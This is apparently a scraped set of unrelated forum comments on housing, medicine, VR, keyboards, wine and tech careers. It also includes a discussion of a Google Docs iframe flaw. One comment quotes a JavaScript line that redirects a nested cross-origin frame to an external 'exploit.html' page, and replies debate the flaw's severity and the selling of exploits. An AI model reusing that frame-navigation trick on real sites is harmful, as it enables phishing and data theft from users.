The Fan Game – Ghostbusters and the Secret of Monkey Island
You (and seemingly everyone else compiling news-from-2020 lists) forget about the discovery of signs of life in the atmosphere of Venus. Not to be grandiose, but, if true, in 500 years this will likely be the only thing generally remembered about 2020.

Thanks for making this and for porting it to android! I changed phones about a month back and stumbled upon your wallpaper app by chance. It has made my homescreen such a delight these days as I never know what I'll see. Thanks again!
Both. I spent the last decade having these conversations with people who also grew up here and can’t afford to remain here without staying with their parents, with some of the stranger conversations devolving into my counter parties brainstorming ways to kick tech people out of the City and stop new people from moving in altogether, as if freedom of movement in the United States wasn’t really a thing.

It’s not “supply and demand”, it’s “selfish rich techies and landlords”. I mean you can read that as supply and demand restated, until you get to next steps like solving the supply problem, and apparently building one more apartment building will irrevocably ruin the character of the City.

Maybe raising taxes will be a good thing. In many countries it has been a race to the bottom for personal income taxes in return for constant budget cuts in healthcare and other services. Maybe if we had maintained higher taxes, we wouldn’t have struggled with ventilator capacity, PPE equipment and other essentials when the shit hit the fan. Hopefully we will learn from this and provide adequate funding to our healthcare services.

Elephant in the room: what was it you thought would stop it? If I have a great new idea for a high-performance computer chip, which would also cause them to be twice the cost, it won't get funded, because people will just settle for a higher performance chip in a few years at a lower cost.

In the case of medicine, as society gets wealthier, it is willing/able to spend more on medicine. The only time you say "no thank you" to an improvement in medicine in exchange for higher costs, is when you're out of money.

There is no such thing as "good enough" medicine, since we all still die eventually. Therefore, we pay more for medicine, including pharmaceutical R&D, because we can, and we can never actually get as much as we want.
It wouldn't have prevented this issue though.

> but the market predictions and "disruption" didn't pan out.

"Disruption" means that you create a less qualitative, but cheaper product that would cannibalize the margins of the product of a company whose products are high-margin (think cutting-edge CPUs of Intel). This "cheap" product will for a long time ridiculed as toy (but nevertheless sell in huge amounts because it is cheap) - until it suddenly "lifts off", becomes an inconvenient competitor, and disrupts the market.

Does this description of disruption sound like any market prediction from the last 10 years how the market for VR glasses will develop? I don't think so.

You should link to previous (more active) discussions if you want to claim that the submission is a duplicate. That said, the statute of limitations has expired on this one, since the most recent big discussion I can see was 11 years ago[0].

Those comments are an interesting read-through, since more than one person directly challenges the relevance of the submission. These days, not many people on this website would feel that a short personal retrospective on cyber culture and the 90s is out-of-place.

I used to work in academia as a professor and the occasional older students were always a joy to work with. And usually, they went along perfectly fine with the other students (at least with the more mature ones).

It's a shame that we have all these educational resources available but practically most people don't have access to it. I'd love to spend a couple of years learning a new field.

So, a SPARC like CPU, but the use case appears to be running either native Elbrus OS (Linux) or x86-64 through some sort of optimized emulation.

"Direct execution of 20+ Operating Systems, including: MSDOS, Windows XP, 7, Linux, QNX, PS/2."

This seems to indicate the emulation is somewhat like what Apple is doing with the M1: https://images.anandtech.com/doci/15823/VVolkonsky-RSCDays-2...
It's amazing how many people keep using this POS. It's just like Jenkins. Total POS, but literally everyone uses it. I suspect because the complexity of building a feature-parity replacement is so large that nobody really gets started on it, because it'd take probably 3 years to reach a point where it makes more sense to use the alternative.

What's amazing as well is how the companies who churn out these techno-turds have no compunction about the design flaws of their tools. Oh, everything about using these things is an anti-pattern? But we're still making money right?

People who promote static site generators do not understand why Wordpress is popular. Wordpress is like the anti-static-site-generator. People who use it don't care about automation or robustness or simplicity. They just don't want to deal with any technical bullshit. Just let me point and click on things.

The missing header just means that docs.google.com can be embedded in an iframe, I'm not surprised about that. But the parent window still shouldn't be able to access the contents of that iframe. And in fact this doesn't work:

document.getElementsByTagName('iframe')[0].contentDocument.getElementsByTagName('iframe')[0].src = "https://geekycat.in/exploit.html";

For obvious reasons (you can't access the DOM of a cross-origin iframe). So it's surprising that this works:

window.frames[0].frames[0].location = "https://geekycat.in/exploit.html";

The big one would be soy beans or potatoes in vertical farms. I've seen some buzz about startups attempting it, but I am unable to find anyone who actually succeeded.

But on the other hand, vertical farming could possibly increase yields for traditional greenhouse owners, and cheap lettuce and tomatoes are definitely not a bad thing.
> It's certainly not fair, because it basically says you have to "work twice as hard" as they say. But the statement is factually correct.

It assumes that everyone is lazying around basically.

Because of people are not lazying around, no, you can not just work twice as hard. Because you are already working hard, exactly as your competitors do. No people can't double their hard work every time they are treated unfairly. Not if they were actually working in the first place.

That goes for ageism, sexism, racism, whatever-ism we talk about.

I found myself in this maybe 10 years after the author did.

The idea I have gotten from it (and my own life) is that "big movements" (zeitgeists) don't really end up meaning much personally. They are created by the media and historians, either before or after things happen.

This guy got into tech by getting a temp job. He needed the money, and Apple needed somebody to enter data.

I guess a moral of the story is, if you want to be a part of the "future", you are better off entering data for a company actually building the future, rather than hanging out with people who sit around talking about what it might be like.

Even if there are nothing to be learned here, very enjoyable and it's old enough that I think I may have read it before 15+ years ago.
I actually use everything built-in because what I use are a decade-old business laptop, an office desktop and a RaspberryPi. But going to buy a good desktop (as I used to have 2 decades ago) I would rather buy a good mainboard with as many PCIe slots as possible (and no built-in devices if this were possible), the cheapest discrete cards for everything and upgrade them as I see fit. I doubt the cheapest/used discrete card for anything is going to be worse or more expensive than a built-in non-removable version.

In some markets, or overall, it's my impression the model 3 and the BMW 3 series compete head to head and the BMW is losing dramatically. I don't want a Tesla, but I drove a new 3-series loaner and definitely came away thinking this is why people are getting Teslas. But I decided for me, a Honda hybrid at half the price would be better.
It is unlikely they wouldn't have checked other products as part of the fix. So I'm going to ask for more proof that you "tested this out".
> I don't want a numpad because getting my mouse closer to the center of my desk really helps with RSI for me.

Same here. I went with a smaller keyboard for ergonomics. Also, I never use F-keys and rarely use the arrow keys, and there are some "60%" layouts (The [Mass]Drop ALT) that still have the arrow keys. I don't care for the RGB and other blingy crap on these, since I really don't look at the keyboard much anyway.
What makes you say this is a serious flaw? It seems pretty minor to me. The page would have to be embedded (so the URL would be obviously wrong) and it requires several steps of manual user action with an uncommonly used feature (the feedback form) just to exfiltrate a tiny amount of data (the iframe viewport)
I would be fascinated to see a scientific approach to mimicking the effects of terroir. I don't believe for one minute that it's magic, but I also don't think it's fully understood.

Some aspects are explainable, e.g. limestone-rich soil increases the acidity of grapes, which can impart notes of citrus on the wine. But what about notes of chocolate, or berries, or stone fruit? In some cases, this is totally because the winemaker actually conditions with those things, but in plenty of cases, this is actually imparted by the growing conditions.

For what it's worth, the impression I get is that Americans place a lot of stock in the varietal of grape, e.g. Pinot noir or Chardonnay, whereas the French place a lot more emphasis in the region, e.g. Bordeaux or Burgundy. Both impart different qualities (e.g. it's going to be a lot easier to find notes of pepper in a Tempranillo than in a Chardonnay).

Love this idea. It hits pretty close to home with an area I've been thinking about for a while.

Here's my biggest concern (given that I've considered building in this almost exact space before): how do you get people to overcome the extra cognitive friction in using your product versus just whatever they can find with Google? Is there basically a cold start break point you get past where the product has enough product review detail that originates on your platform that it becomes an authority and destination?

I like that a lot. As you can tell, I'm already personally sold on the need for the product based on the shoddy and compromised quality of product reviews on major channels like Amazon. I think it's a big problem. I just don't know what the big fix is going to be.
Nothing deep, but the PCB layout is quite impressive. This project appears to care about the details. Also intersting to learn about the history of Elbrus.
You're Wrong About is probably my favorite podcast discovery of the last year. I generally dislike shows with the format of "the host reads a few articles and pretends to be an expert on it." But they do an above-average job on this show.

Repairability is a big concern for me for the majority of things I purchase and use on a daily basis. All my computers, car, clothing, furniture in the apartment. Some things are more repairable than others, like a computer is obviously based on specific parts I can purchase online where as my clothing just needs a needle and thread. Still, keeping repair in mind when possible is important to me for a few reasons:

1. I like my items old and lasting because it makes them more personal and gives it history.

2. There is a sense of pride when you fix something, whether that be a coffee table or a bug in software.

3. Reduce waste.

4. Save money.

Repair (especially in technology and cars) has become more and more locked down and difficult, and the right to repair is one I think we need to continue to strive for.

- We will certainly add educational blog posts about what to look for when researching a durable/sustainable product.
- Once it the platform gets bigger, we will add other categories of products (E.g. roofing material, cars).
- Products revisions are certainly a challenge. We are working on a feature for tracking brand deterioration where we try to tackle this issue.
With your edit, at least to me, you've made this even more interesting. Feel free to disregard these questions because at this point I feel I'm prying.

>> We want to help you finding products and brand that reflect your values. That's why we collect a lot of information about a brand, i.e his manufacturing practices, certifications, warranty or repair service.

How do you suppose you'll match a user to a brand (or to a collection of brands)?

>> We are not in a position to assess such data, so we are partnering with different companies and standardisation bodies that assess sustainable production standards.

That sounds like a deliciously hard problem to solve. Are you hiring? Or are you looking for tech partners?
I’ve answered this question probably half a dozen times already now....

The N64 doesn’t run any OS. It’s just firmware that invokes a ROM which runs bare metal.

The Switch, however, does have an operating system.

There is around 20 years difference between the two games consoles. That’s 20 years of Moore’s law. 20 years of consumer expectations of fast processors and fancier graphics. And 20 years of evolution with developer tooling and thus their expectations.

You cannot compare the two consoles in the way you’re trying to. It’s like comparing a 1920s racing car to a 2020s F1 car and asking why they are so different. Simply put: because technology has advanced so much in that time it’s now possible to do stuff that wasn’t dreamt of before.
Interesting note: this apparently applies to 2 beds, but not 1 bedroom apartments. To me, that suggests the drop has been almost entirely people with roommates.

As a result, I don’t expect property values to fall in the next year. It just doesn’t make sense to cash out low until it’s clear those people (young, mobile) aren’t coming back & won’t be replaced.
While I do hold out hope that procedurally generated _gameplay_ takes off and increases the size of game worlds, I was more just assuming that something akin to deepfake tech could be applied to some of the rote tasks of decorating levels, doing quick first drafts of character designs etc. I'm aware this is already happening for some types of animation and rigging.

I think it's right to be ambitious in the long term though. Procedurally generated levels in 10-20 years are going to be wildly more advanced (and satisfying, and unpredictable) than now. I also wouldn't bet against award winning movie scripts in my or my kids' lifetimes.
> the plant production problem is non-existent.

1. Not all dirt is equal. Land being able to grow some kind of plant matter does not mean that the land is suitable for growing plants humans will eat.

2. The plants animals eat are easy to process mechanically at huge scale. The plants humans eat, not so much.

It's far from a solved problem. Meat is the historical solution.

The most dreadful thing in this industry to me is this: how many years of experience do you have?

1
2
3
4
5+

That's it. Fin. More than 5 doesn't matter.

The truth is that the difference between 30 years and 5 years of experience in a particular field can be as big as between 1 and 5. I just want to ask, does anyone in the industry really care about this fact? Does it matter to any company out there? Have you ever seen a job posting that has say 20+ years of experience as a minimum?

As someone with 30+ years in the industry I'm constantly worried that nobody really really needs a coder with so much under their belt anymore. That nobody sees the value in a smaller codebase with fewer bugs and more minimalist and robust architectural solutions.

Dear industry (apart from some maybe very specific niches such as OS kernels, compilers and such), do you really care about the old experienced devs?
Also, a catalyst only speeds up a reaction. It does not change the thermodynamics of a reaction. An irreversible reaction with the addition of a catalyst is still irreversible.

Illegal, including the logistics of selling it to shady/nation state actors. You can't just put a craigslist ad out for "selling google docs exploit" and expect them to reach out to you, if you don't already have contacts in the game you're probably not going to find a place to sell it (and then you might have issues receiving the money if you're US-based). The only grey area where you could really sell an exploit is something like zerodium https://zerodium.com/program.html
So wouldn't the obvious thing be that this asteroids composition would be almost identical to the earth's since, of course, our planet was formed by billions of these things crashing into it?

Now maybe that makes them incredibly valuable, and of course I am sure there must be some statistical distribution of asteroids with valuable minerals and those without hardly any, but I feel there is currently this idea that all asteroids are a hugely valuable to be mined no matter.

Is this true?
